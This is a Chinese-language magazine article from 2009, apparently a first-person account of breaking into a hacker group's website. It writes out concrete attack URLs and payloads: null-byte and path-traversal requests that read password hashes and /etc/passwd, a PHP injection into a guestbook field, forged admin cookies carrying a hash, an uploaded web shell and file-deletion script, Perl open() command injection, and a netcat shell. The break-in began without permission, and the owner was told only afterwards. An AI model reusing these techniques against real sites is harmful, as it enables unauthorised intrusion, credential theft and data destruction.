打印本文 关闭窗口 | |||||||
剑走偏锋之灵巧的脚本注入方式 | |||||||
作者:陈鹏 文章来源:eNet 点击数 更新时间:2009/9/11 23:24:27 文章录入:陈鹏 责任编辑:陈鹏 | |||||||
|
|||||||
Target.ORG(target网络安全小组)是国内较为知名的黑客/安全站点,偶然间,我们开始了对她的安全测试。 没有任何迟疑,我们直接从WEB下手。据了解:target整站程序由站主NetHero编写。基于代码规模和复杂度方面的考虑,我们把目光集中到了网站论坛。我们习惯首先查看用户信息,因为用户名和用户密码总是紧贴着保存在一起,在这里我们更容易接近我们渴求的信息。提交如下URL 查看NetHero用户信息: http://www.target.org/cgi-bin/club/scripts/userinfo.pl?user=nethero 正常返回用户信息 http://www.target.org/cgi-bin/club/scripts/userinfo.pl?user=./nethero 出错提示:论坛系统出现问题! http://www.target.org/cgi-bin/club/scripts/userinfo.pl?user=nethero%00 返回用户信息的“发贴数量”出现了一个莫名其妙的字符串,其他的一部分信息也全乱了 看来这里有点问题,这个字符串到底是怎么回事?我们用以前申请的ID登陆上去后,看到每个URL的QUERY_STRING后面都有一个名为key的变量,而且其值和上述的字符串有些相似。难道这个是密码?我们接连登陆几次后,观察到这个key值每次都不一样,看来这个key是用来识别我们在论坛的身份,应该与用户密码没有直接关系...还是先不管这个key值了,继续用我们的ID做实验,提交了这个URL http://www.target.org/cgi-bin/club/scripts/userinfo.pl?user=envymask%00 出来的还是跟先前类似的字符串,这个时候我们大胆猜测这个字符串是我们的密码,通过验证,我们发现这的确是把我们密码经过标准DES加密后得到的字符串。这证明了我们的猜测是正确的,这个字符串中就是加密过后的用户密码。但为什么密码会溜出来?于是我们接着推测:在用户数据目录里面肯定有两个保存每个用户信息的文件,一个里面保存有密码,而另一个没有,只有一些一般的信息,如邮箱,生日之类的。这两个文件应该一个是username,另一个是username.xxx(加了一个后缀)。 userinfo.pl这个程序使用open函数打开文件的时候没有对user这个变量过滤完全,至少没有过滤掉 \0,这使得试图打开username.xxx文件的时候实质上打开的并不是username.xxx而是username。打开文件的代码可能是这样写的open(F,"$path/$username.xxx");所以当user=abcdef%00的时候相当于open(F,"$path/abcdef");而这个文件里正是保存用户密码的那个文件,所以部分用户信息变量直接到该文件中错误地取值,之后再反馈输出给用户,这样密码就出来了。惬意...我们随即找出了站长nethero的密码,暴力破解的念头一闪而过后,我们看还能不能进一步突破这个目录,于是提交 http://www.target.org/cgi-bin/club/scripts/userinfo.pl?user=../../../../../../../etc/passwd%00 密码档文件出来了,看来这里有搞头,继续 http://www.target.org/cgi-bin/club/scripts/userinfo.pl?user=../../../../../../../etc/%00 受页面输出格式限制,我们只能查看到/etc目录中一部分文件和目录;于是试着打开一些文件,但也只能查看到文件的一些很小的片段,几乎没什么用,连续查看了很多文件过后,都没有新的突破,我们有点失望了。于是我们暂时把这个BUG放在一边,看看还有没有其他文件存在缺陷,继续找一些CGI程序如display.pl,show.pl等,都没有发现可以突破的地方,因为这些文件都做了一些过滤,看来这条路走不通了。 既然CGI方面不能突破,那就只有另想路子了。 我们拿着那个userinfo.pl到处查看一些片段文件和目录,首先搜寻apache的配置文件,最后在/usr/local/etc/apache目录下找到了httpd.conf ,但还是只能查看文件头几行,这些根本没什么用。又跑到/home目录下看了看,嗯,有好多用户,比先前查看/etc/passwd里面的用户多多了,因为查看/etc/passwd的时候只能看到头几行,随便进了一个用户tomy的目录,咦,见到了目录/public_html,看来系统有可能给每个用户分配了发布个人主页的空间,有意思, 看在浏览器里面能不能访问到 http://www.target.org/~tomy 呵,看到这家伙的个人主页了,再看看里面有什么东西,这时我们意外地发现了一个/phpmyadmin目录,立刻访问,发现竟然没有密码验证。现在的我们相当于得到了一个Mysql的用户,我们试图通过phpmyadmin往数据库里写东西,内容是一个小的phpshell,然后导出到主页目录里,忙活了半天,终于全写进去了,但往硬盘上写的时候却发现没有权限写,一阵郁闷袭来... 继续查看了几个用户的目录,大部分都没有发布更多的东西,只有些静态的页面。经过一番努力后,我们终于找到了冤大头--shuaishuai(帅帅)这个用户,转到他发布的主页上看看,哈,发现了这个 http://www.target.org/~shuaishuai/show.php?filename=20030329185337.txt 好家伙,看看能不能跳转目录 http://www.target.org/~shuaishuai/show.php?filename=../../../../../../../etc/passwd 返回了下面这些东西给我们 Warning: is_file() [function.is-file]: SAFE MODE Restriction in effect. The script whose uid is 1007 is not allowed to access ./data//../../../../../../etc/passwd owned by uid 0 in /usr/home/shuaishuai/public_html/show.php on line 77 失败,但并不是不能跳转,只是没有权限而已。那好,我们再试着看看能不能查看有权限的文件 http://www.target.org/~shuaishuai/show.php?filename=../../../../../../../home/shuaishuai/public_html/post.php 呵呵,成功了,看到了post.php这个文件的源代码,太棒了,我们就把这个做为突破口。但这个只能查看shuaishuai这个用户的文件,不能查看到其他文件,而且只是能查看文件似乎还不够,我们希望得到一个shell,这看起来似乎比较困难。还是另看看其他,其实shuaishuai的主页上东西蛮多的,还有一个留言板,是X-pad.这个留言板可以让用户注册后留言,每个注册用户在/User目录下面都有一个配置文件,保留了用户的一些信息,在查看注册文件源代码后我们发现它并没有过滤完全,至少有一个变量可以使我们可以插入我们的代码。于是我们申请了一个用户在HOMEPAGE这个字段插入了我们的代码,使我们的用户配置文件看起来像这样: 以下是代码片段: $User_Psw = "1234"; $User_QQ = ""; $User_EMail = ""; $User_Homepage = "http://\";copy($a,$b);unlink($a);#"; $User_Avatar = "Styles/Avatars/blank.gif"; $User_BBSMode = "0"; ?> 上面这个php文件使我们可以上传文件到指定目录和删除有权限删除的文件.但在执行过程中却发现不行,为什么?原来没有看清楚 $User_Homepage = "http://\";copy($a,$b);unlink($a);#"; 这一行中我们提交的"(引号)前面被自动插入了\,使得它不是php语句中的双引号("),而是变量中的(") 。即$User_Homepage变量值为 “http://\";copy($a,$b);unlink($a);#” 整个字符串,并没有起到预期的作用。看来 magic_quotes_gpc = on,再告失败。 没有气馁,我们继续耐心地查找其他可以利用的东西,马上我们又发现了http://www.target.org/~shuaishuai/down_sys/ 这么个下载系统.经过查看目录和查看下载系统的源文件(因为我们有权限查看这个目录里的文件),在down_sys/data/user/目录下面发现了管理员的用户文件,里面包含了密码,但令人头痛的是管理员密码是经过md5加密的。此时我们没有轻易放弃这个经加密的密码,我们即刻查看管理员验证的代码,在/down_sys/admin/global.php这个文件中发现了其验证方式包含cookie验证,相关代码如下: 以下是代码片段: ...... if (isset($password)) $password=md5($password); if (empty($username)) $username=$HTTP_COOKIE_VARS[’bymid’]; if (empty($password)) $password=$HTTP_COOKIE_VARS[’bympwd’]; if(!checkpass($username,$password)) { admintitle(); adminlogin(); exit; } ......
完全可以进行一次cookie欺骗。我们这里使用的是一种比较烦琐的方法:先断开网络,将我们的IP改为target.org的IP,然后在%systemroot%\system32\drivers\etc\hosts文件里把www.target.org这个域名指向target.org的IP,做这一步是为了我们在断开网络的时候能够成功的将www.target.org解析成它的IP.最后在我们的IIS里面自已建一个虚拟目录/~shuaishuai/down_sys/admin/写一个asp文件,把cookie设置为管理员的用户名和加过密的密码,asp文件内容如下: 以下是代码片段: <% response.cookies("bymid")="adminuser" response.cookies("bympwd")="596a96cc7bf91abcd896f33c44aedc8a" %> 然后访问这个asp文件 http://www.target.org/~shuaishuai/down_sys/admin/cookie.asp 留着这个窗口,把IP改回为原来的192.168.0.1,接着用这个窗口请求 http://www.target.org/~shuaishuai/down_sys/admin/admin.php 管理界面出来了,通过了验证。接着我们来上传文件...可下面的事让我们气恼了好久,竟然没有上传文件的功能,Fiant,是一个没开发完全的半成品,彻底失望了吗? 不,我们依然有信心,接着查看一下其他的文件,看看能不能对配置文件动点手脚,我们找到了一个class.php,里面保存的是下载系统的一些软件分类信息,内容看起来像这样: 5 安全工具 1028372222 8 红客工具 1034038173 7 其它软件 1034202097 .... 我们试着往里面写东西,于是在管理页面新添加一个主分类,分类的名称为"",提交过后class.php变成了这样 5 安全工具 1028372222 8 红客工具 1034038173 7 其它软件 1034202097 9 1054035604 这个php文件可以让我们上传文件到有权限目录和删除有权限删除的文件。于是我们在本地写了一个表单,上传一个phpshell上去,然后访问 http://www.target.org/~shuaishuai/down_sys/data/sh.php GOOD,返回了phpshell的界面...一阵高兴过后,我们才发现这个phpshell什么命令都不能执行,原来网站PHP打开了safe_mode功能,限制我们执行命令。但我们已经有了很大的突破了,可以向服务器上传文件了。接下来我们利用PHP丰富的内置函数写了很多小脚本上传测试,很不幸,系统利用 disable_functions 禁止了大部分的文件系统函数、目录函数...好在并没有赶尽杀绝,最后我们写了下面一个php程序来查看一些有权限查看的目录和文件: 以下是代码片段: $c = $HTTP_GET_VARS["c"]; $f = $HTTP_GET_VARS["f"]; if($c=="file") { $file=readfile($f); echo $file; } if($c=="dir") { $h=opendir($f); while($file=readdir($h)) { echo "$file\n"; } } if($c=="del") { unlink($f); } ?> 在做了很多尝试过后,我们发现在PHP上不能获得新的突破,好在我们可以利用上面那个php程序来查看www.target.org/cgi-bin/club/scripts/ 目录中程序脚本的完整的代码,于是我们决定改向回到起点、查看CGI文件,由于没有权限向可执行CGI程序的目录里写文件, 新写一个CGI程序来执行命令是不现实的,所以决定利用现有的.pl程序来插入命令,目标自然是放在perl的open函数上,于是我们开始查找哪些程序用了open函数,但找了好多.pl文件,都没有发现,但却看到有好多readfile()函数,记得perl里面是没有这个函数的,但这里却用了很多readfile(),为什么呢?这肯定是他们自已定义的一个函数,我们看到每一个.pl文件前几行都有一个use Club;原来这里有个模块,于是查看Club.pm,很快便发现了open函数. 以下是代码片段: sub readkey { my($file)=@_; unless(open(FH,"$file")) { errmsg("对不起!你超时了,请重新登陆"); exit; } unless(flock(FH,LOCK_SH)) { errmsg("Can’t Lock File: $file"); } my $data = close(FH); return $data; } 这就是那个自定义的readfile函数,证实了我们的猜想,而且也找到了一个符合要求的open函数,接着搜寻哪个文件调用了这个函数,很快我们在change_pw.pl这个程序里找到了这个函数调用,这个程序用来修改用户的密码,不幸的是代码在判断用户旧密码是否正确前就调用了 readkey() 函数: my $key_info=readkey("$key_dir/$key"); 于是提交 http://www.target.org/cgi-bin/club/scripts/change_pw.pl?passwd0=1&passwd1=22&passwd2=22key=../../../../../../../../bin/ls%20 >bbb%20 再查看一下 http://www.target.org/cgi-bin/club/scripts/bbb Yeah!成功执行了...出现了我们期望的结果,这真是太妙了,可以利用这个来执行命令,就相当于得到了一个shell。但这样办事毕竟不方便,不能及时地查看我们的运行结果。因此我们又上传了一个文件、编译、执行,然后 D:\temp>nc -vv www.target.org 12345 www.target.org [211.161.57.29] 12345 (?) open id uid=80(www) gid=80(www) groups=80(www) uname -a FreeBSD ns8.target.com 4.8-RELEASE FreeBSD 4.8-RELEASE #1: Wed Apr 2 07:01:40 CST 2003 root@ns8.target.com:/usr/obj/usr/src/sys/target i386 哦,是FreeBSD 4.8-RELEASE,版本很高,提升权限比较困难,我们找了好久都没有找到有效的local exploit,提升权限失败,只好作罢。 到这里,我们的hacking基本上结束了。虽然没拿到root,但至少拿到了网站WEB权限,对于我们CGI安全爱好者来说,应该算是完成了本职工作吧-)。之后我们迅速与站主联系,提醒他网站存在安全隐患,但站主并没有向我们询问细节,他自己通过分析日志修复了漏洞。
【责任编辑 彭凡】 |
|||||||
打印本文 关闭窗口 |